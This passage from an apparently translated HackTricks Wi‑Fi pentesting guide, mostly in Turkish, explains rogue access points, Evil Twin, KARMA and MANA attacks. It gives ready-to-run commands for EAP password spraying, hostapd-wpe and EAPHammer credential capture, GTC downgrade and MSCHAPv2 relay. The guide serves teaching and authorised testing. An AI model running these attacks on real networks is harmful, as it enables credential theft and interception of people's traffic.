- Kimlik fazını tünellemeyi tercih edin (ör. iç EAP‑SIM/AKA taşıyan EAP‑TTLS/PEAP), böylece IMSI asla düz metin olarak gönderilmez.
- association/auth paket yakalamaları EAP-Response/Identity içinde ham bir IMSI ortaya çıkarmamalıdır.

Related: Telecom signalling exploitation with captured mobile identifiers
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>

### EAP-Bruteforce (password spray)

If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** of **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer).
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Bu saldırıyı eaphammer kullanarak da gerçekleştirebilirsiniz:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

İstemci Saldırıları Teorisi

Ağ Seçimi ve Roaming

  • 802.11 protokolü bir istasyonun Extended Service Set (ESS)’e nasıl katılacağını tanımlar ancak bir ESS veya içindeki bir access point (AP)’in seçilme kriterlerini belirtmez.
  • İstasyonlar aynı ESSID’i paylaşan AP’ler arasında roam edebilir, bir bina veya alan genelinde bağlantıyı sürdürebilir.
  • Protokol, istasyonun ESS’e kimlik doğrulamasını gerektirir ancak AP’nin istasyona kimlik doğrulamasını zorunlu kılmaz.

Preferred Network Lists (PNLs)

  • İstasyonlar, bağlandıkları her kablosuz ağın ESSID’sini ve ağla ilgili yapılandırma ayrıntılarını Preferred Network List (PNL) içinde saklar.
  • PNL, bilinen ağlara otomatik olarak bağlanmak için kullanılır; bu, bağlantı sürecini kolaylaştırarak kullanıcı deneyimini iyileştirir.

Pasif Tarama

  • AP’ler periyodik olarak beacon frames yayınlar; bu çerçeveler varlıklarını ve özelliklerini, yayınlama devre dışı bırakılmamışsa AP’nin ESSID’si dahil olmak üzere duyurur.
  • Pasif tarama sırasında istasyonlar beacon frames dinler. Bir beacon’ın ESSID’si istasyonun PNL’sindeki bir girişle eşleşirse, istasyon otomatik olarak o AP’ye bağlanabilir.
  • Bir cihazın PNL’sinin bilinmesi, cihazı bilinen bir ağın ESSID’sini taklit ederek kandırmak ve cihazı kötü amaçlı bir AP’ye bağlanmaya yönlendirmek suretiyle potansiyel istismara olanak tanır.

Aktif Problama

  • Aktif problama, istasyonların yakınlardaki AP’leri ve özelliklerini keşfetmek için probe requests göndermesini içerir.
  • Directed probe requests belirli bir ESSID’i hedefler; bu, belirli bir ağın menzil içinde olup olmadığını, ağ gizli olsa bile tespit etmeye yardımcı olur.
  • Broadcast probe requests null bir SSID alanına sahiptir ve tüm yakın AP’lere gönderilir; bu, istasyonun PNL içeriğini ifşa etmeden herhangi bir tercih edilen ağı kontrol etmesine olanak tanır.

Basit AP ile Internet’e yönlendirme

Daha karmaşık saldırıların nasıl gerçekleştirileceğini açıklamadan önce, sadece bir AP oluşturmanın ve AP’nin trafiğini Internet’e bağlı bir arayüze yönlendirmenin nasıl yapılacağı açıklanacaktır.

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Yapılandırma dosyasını oluşturun /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Sonra set IPs ve routes:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Ardından dnsmasq’ı başlatın:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Bir yapılandırma dosyası oluşturun hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Rahatsız eden süreçleri durdurun, monitor mode’u ayarlayın ve hostapd’yi başlatın:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

İletme ve Yönlendirme

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Bir evil twin attack, WiFi clients’ın ağları tanıma şeklinden yararlanır; öncelikle ağ adı (ESSID) üzerine dayanır ve base station (access point)’ın client’a kendini authenticate etmesini gerektirmez. Öne çıkan noktalar şunlardır:

  • Difficulty in Differentiation: Cihazlar, aynı ESSID ve şifreleme türünü paylaştıklarında meşru ve rogue access point’leri ayırt etmekte zorlanır. Gerçek dünyadaki ağlar genellikle kesintisiz kapsama sağlamak için aynı ESSID’yi kullanan birden fazla access point kullanır.
  • Client Roaming and Connection Manipulation: 802.11 protokolü, cihazların aynı ESS içindeki access point’ler arasında roam etmesine izin verir. Saldırganlar, bir cihazı mevcut base station’dan ayrılmaya ve sahte bir access point’e bağlanmaya kandırarak bundan yararlanabilir. Bu, daha güçlü bir sinyal sunarak veya meşru access point ile olan bağlantıyı deauthentication packets gibi yöntemlerle bozarak ya da jamming yaparak gerçekleştirilebilir.
  • Challenges in Execution: Birden fazla, iyi yerleştirilmiş access point’in bulunduğu ortamlarda başarılı bir evil twin attack gerçekleştirmek zor olabilir. Tek bir meşru access point’i deauthenticating yapmak genellikle cihazın başka bir meşru access point’e bağlanmasıyla sonuçlanır; saldırgan tüm yakın access point’leri deauthenticating edemediği ya da sahte access point’i stratejik olarak konumlandıramadığı sürece.

İnternete trafik yönlendirme yeteneği olmayan çok temel bir Open Evil Twin oluşturabilirsiniz:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Ayrıca eaphammer kullanarak bir Evil Twin oluşturabilirsiniz (dikkat: eaphammer ile evil twins oluşturmak için arayüz monitor modunda OLMAMALIDIR):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Veya Airgeddon kullanarak: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Lütfen unutmayın ki varsayılan olarak PNL’deki bir ESSID WPA korumalı olarak kaydedilmişse, cihaz otomatik olarak bir Open evil Twin’e bağlanmaz. Gerçek AP’ye DoS uygulamayı deneyebilir ve kullanıcının manuel olarak Open evil twin’inize bağlanmasını umabilirsiniz; veya gerçek AP’ye DoS uygulayıp bir WPA Evil Twin kullanarak handshake’i yakalayabilirsiniz (bu yöntemde PSK’yı bilmediğiniz için mağdurun size bağlanmasına izin veremezsiniz, ancak handshake’i yakalayabilir ve kırmayı deneyebilirsiniz).

Bazı OS ve AV’ler kullanıcıya açık bir ağa bağlanmanın tehlikeli olduğunu bildirebilir…

WPA/WPA2 Evil Twin

Bir Evil Twin using WPA/2 oluşturabilirsiniz ve cihazlar o SSID’ye WPA/2 ile bağlanacak şekilde yapılandırıldıysa bağlanmayı deneyeceklerdir. Yine de, 4-way-handshake’i tamamlamak için istemcinin kullanacağı password’u bilmeniz gerekir. Eğer bilmiyorsanız, bağlantı tamamlanmayacaktır.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Bu saldırıları anlamak için önce kısa WPA Enterprise açıklamasını okumanızı öneririm.

hostapd-wpe kullanımı

hostapd-wpe çalışması için bir yapılandırma dosyasına ihtiyaç duyar. Bu yapılandırmaların oluşturulmasını otomatikleştirmek için https://github.com/WJDigby/apd_launchpad kullanabilirsiniz (içindeki python dosyasını /etc/hostapd-wpe/ klasörüne indirin)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

Yapılandırma dosyasında ssid, channel, user files, cret/key, dh parameters, wpa version ve auth gibi birçok farklı öğeyi seçebilirsiniz…

hostapd-wpe ile EAP-TLS kullanarak herhangi bir sertifikanın giriş yapmasına izin verme.

EAPHammer kullanımı

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Varsayılan olarak, EAPHammer bu kimlik doğrulama yöntemlerini amaçlar (GTC’ye dikkat edin — ilk olarak plaintext passwords elde etmeye çalışılacak; ardından daha sağlam auth methods kullanılacaktır):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Bu, uzun bağlantı sürelerinden kaçınmak için varsayılan yöntemdir. Ancak, kimlik doğrulama yöntemlerini en zayıftan en güçlüye olacak şekilde sunucuya da belirtebilirsiniz:

--negotiate weakest

Ayrıca şu seçenekleri de kullanabilirsiniz:

  • --negotiate gtc-downgrade ile yüksek verimli GTC downgrade uygulamasını kullanın (plaintext parolalar)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP ile sunulan yöntemleri manuel olarak belirtin (kuruluşun sunduğu aynı kimlik doğrulama yöntemlerini aynı sırada teklif etmek, saldırının tespit edilmesini çok daha zorlaştırır).
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • Eğer cihazlar “do not validate certificate” olarak yapılandırılmışsa, klonlanmış bir AP + rogue RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap) NetNTLMv2 (PEAP-MSCHAPv2) veya cleartext creds (PEAP-GTC) toplayacaktır. bettercap deauth (wifi.deauth <BSSID>) hem probe istekleri sırasında gizli SSID’leri açığa çıkarır hem de yeniden bağlanmayı zorlar; PMF/802.11w spoofed deauth’u engellemediği sürece.
  • Kırılmış NetNTLMv2, yeniden kullanılabilir Wi‑Fi/AD creds sağlar; GTC ise anında plaintext verir.

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • Kırılması mümkün olmayan rastgele parolalı makine hesapları için MSCHAPv2 relay’i kötüye kullanın: hostapd-mana’yı Evil Twin olarak çalıştırın ve MSCHAPv2 alışverişini aynı anda meşru AP’ye bağlanan wpa_sycophant’a iletin. Başarılı relay, parolayı geri elde etmeden yetkilendirilmiş Wi‑Fi erişimi sağlar.
  • Hedef güvenlik seviyesini destekleyen build’leri kullanın (WPA3/PMF için güncel hostapd/wpa_supplicant gerekir); PMF deauth zorlama( coercion )yı önler, bu yüzden istemcilerin gönüllü bağlantılarını bekleyin.

Using Airgeddon

Airgeddon daha önce oluşturulmuş sertifikaları kullanarak WPA/WPA2-Enterprise ağlarına EAP kimlik doğrulaması sunabilir. Sahte ağ bağlantı protokolünü EAP-MD5’e düşürecek ve böylece kullanıcıyı ve parolanın MD5’ini yakalayabilecektir. Daha sonra saldırgan parolayı kırmayı deneyebilir.
Airggedon size bir sürekli Evil Twin attack (gürültülü) veya sadece biri bağlanana kadar Evil Attack oluşturma (daha sessiz) olanağı sunar.

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

hostapd-wpe’nin configuration dosyasında dh_file içeren satırı yorumlayın (ör. dh_file=/etc/hostapd-wpe/certs/dh -> #dh_file=/etc/hostapd-wpe/certs/dh).
Bu, hostapd-wpe’nin DH yerine RSA kullanarak anahtar değiş tokuşu yapmasını sağlar; böylece sunucunun private key’ini bildiğinizde trafiği daha sonra decrypt edebileceksiniz.

Şimdi bu değişiklik yapılmış konfigürasyonla her zamanki gibi Evil Twin’i hostapd-wpe ile başlatın. Ayrıca Evil Twin saldırısını gerçekleştiren arayüzde wireshark’ı başlatın.

Şimdi veya daha sonra (zaten bazı kimlik doğrulama girişimlerini yakaladıktan sonra) özel RSA anahtarını wireshark’a şu yoldan ekleyebilirsiniz: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Yeni bir giriş ekleyin ve formu şu değerlerle doldurun: IP address = anyPort = 0Protocol = dataKey File (anahtar dosyanızı seçin, sorun yaşamamak için parola korumalı olmayan bir anahtar dosyası seçin).

Ve yeni “Decrypted TLS” sekmesine bakın:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Farklı Media Access Control Filter Lists (MFACLs) türleri ile bunların rogue Access Point (AP) davranışı üzerindeki modları ve etkileri:

  1. MAC-based Whitelist:
  • Rogue AP yalnızca beyaz listede belirtilen cihazlardan gelen probe isteklerine cevap verecek ve listede olmayan diğer tüm cihazlara karşı görünmez kalacaktır.
  1. MAC-based Blacklist:
  • Rogue AP, kara listedeki cihazlardan gelen probe isteklerini görmezden gelecek; böylece belirli cihazlara karşı rogue AP görünmez olacaktır.
  1. SSID-based Whitelist:
  • Rogue AP yalnızca listelenen belirli ESSID’ler için probe isteklerine cevap verecek; Preferred Network Lists (PNLs) bu ESSID’leri içermeyen cihazlara görünmez olacaktır.
  1. SSID-based Blacklist:
  • Rogue AP, kara listedeki belirli ESSID’ler için probe isteklerine cevap vermeyecek; bu belirli ağları arayan cihazlara karşı görünmez olacaktır.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Bu yöntem, ağlara bağlanmaya çalışan cihazlardan gelen tüm probe requests’lere cevap veren kötü amaçlı bir AP oluşturmasını attacker’a sağlar. Bu teknik, cihazların aradığı ağları taklit ederek cihazları attacker’ın AP’sine bağlanmaya kandırır. Bir cihaz bu rogue AP’ye bir bağlantı isteği gönderdiğinde, bağlantı tamamlanır ve cihaz yanlışlıkla attacker’ın ağına bağlanır.

MANA

Sonrasında, cihazlar güvenilir olmayan ağ yanıtlarını görmezden gelmeye başladı ve bu, orijinal karma attack’ın etkinliğini azalttı. Ancak, Ian de Villiers ve Dominic White tarafından tanıtılan MANA attack olarak bilinen yeni bir yöntem ortaya çıktı. Bu yöntem, rogue AP’nin cihazların broadcast probe requests’lerine yanıt vererek cihazların Preferred Network Lists (PNL)’lerini, cihazlar tarafından önceden saklanan ağ adları (SSIDs) ile ele geçirmesini içerir. Bu gelişmiş saldırı, cihazların bilinen ağları nasıl hatırlayıp önceliklendirdiğinden yararlanarak orijinal karma attack’e karşı korumaları aşar.

MANA attack, cihazlardan gelen hem directed hem de broadcast probe requests’leri izleyerek çalışır. Directed isteklere karşılık, cihazın MAC address’ini ve istenen ağ adını kaydeder ve bu bilgileri bir listeye ekler. Bir broadcast request alındığında, AP cihazın listesindeki herhangi bir ağa uyan bilgilerle yanıt verir ve böylece cihazı rogue AP’ye bağlanmaya teşvik eder.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Bir Loud MANA attack, cihazların directed probing kullanmadığı veya saldırganın Preferred Network Lists (PNL) hakkında bilgi sahibi olmadığı durumlarda kullanılan gelişmiş bir stratejidir. Temelinde yatan ilke, aynı alandaki cihazların PNL’lerinde bazı ağ isimlerini paylaşma olasılığının yüksek olmasıdır. Seçici yanıt vermek yerine, bu saldırı gözlemlenen tüm cihazların birleştirilmiş PNL’lerinde bulunan her ağ adı (ESSID) için probe responses yayınlar. Bu geniş yaklaşım, bir cihazın tanıdık bir ağı tanıma ve rogue Access Point (AP)’e bağlanmaya çalışması olasılığını artırır.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack yeterli olmayabileceği durumlarda, Known Beacon attack başka bir yaklaşım sunar. Bu yöntem brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs ve bu ESSID’ler wordlist’ten türetilir. Bu, birçok ağın varlığını taklit eder; hedefin PNL’deki bir ESSID ile eşleşme umuduyla sahte AP’ye bir bağlantı girişimini tetikler. Saldırı, cihazları yakalamaya yönelik daha agresif bir denemede --loud seçeneği ile birleştirilerek güçlendirilebilir.

Eaphammer bu saldırıyı, listedeki tüm ESSIDs’in yayınlandığı bir MANA attack olarak uyguladı (bunu ayrıca --loud ile birleştirerek Loud MANA + Known beacons attack oluşturabilirsiniz):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Bu Known Beacon Burst attack, dosyada listelenen her ESSID için beacon frames’in hızlı ardışık yayınlanmasını içerir. Bu, sahte ağların yoğun olduğu bir ortam oluşturur ve özellikle bir MANA attack ile kombine edildiğinde cihazların rogue AP’ye bağlanma olasılığını büyük ölçüde artırır. Bu teknik, hız ve hacmi kullanarak cihazların ağ seçimi mekanizmalarını aşırı yükler.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct cihazların geleneksel bir kablosuz erişim noktasına ihtiyaç duymadan Wi‑Fi üzerinden doğrudan birbirleriyle bağlanmasını sağlayan bir protokoldür. Bu yetenek yazıcılar ve televizyonlar gibi Internet of Things (IoT) cihazlarına entegre edilmiştir ve cihazlar arası doğrudan iletişimi kolaylaştırır. Wi‑Fi Direct’in dikkat çeken bir özelliği, bağlantıyı yönetmek için bir cihazın erişim noktası rolünü üstlenmesidir; bu role genellikle grup sahibi denir.

Wi‑Fi Direct bağlantılarının güvenliği, çeşitli güvenli eşleştirme yöntemlerini destekleyen Wi‑Fi Protected Setup (WPS) ile sağlanır; bunlar arasında şunlar bulunur:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Bu yöntemler, özellikle PIN entry, geleneksel Wi‑Fi ağlarındaki WPS ile aynı zayıflıklara açıktır ve bu nedenle benzer saldırı vektörlerinin hedefi olabilirler.

EvilDirect Hijacking

EvilDirect Hijacking Wi‑Fi Direct’e özgü bir saldırıdır. Bir Evil Twin saldırısı konseptini yansıtır ancak hedefi Wi‑Fi Direct bağlantılarıdır. Bu senaryoda, saldırgan meşru bir grup sahibini taklit ederek cihazları kötü amaçlı bir cihaza bağlanmaya kandırmayı amaçlar. Bu yöntem, taklit edilen cihazın kanalını, ESSID’sini ve MAC adresini belirterek airbase-ng gibi araçlarla gerçekleştirilebilir:

Referanslar

TODO: Şuna göz atın [https://github.com/wifiphisher/wifiphisher] (facebook ile giriş ve captive portals’da WPA taklidi)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin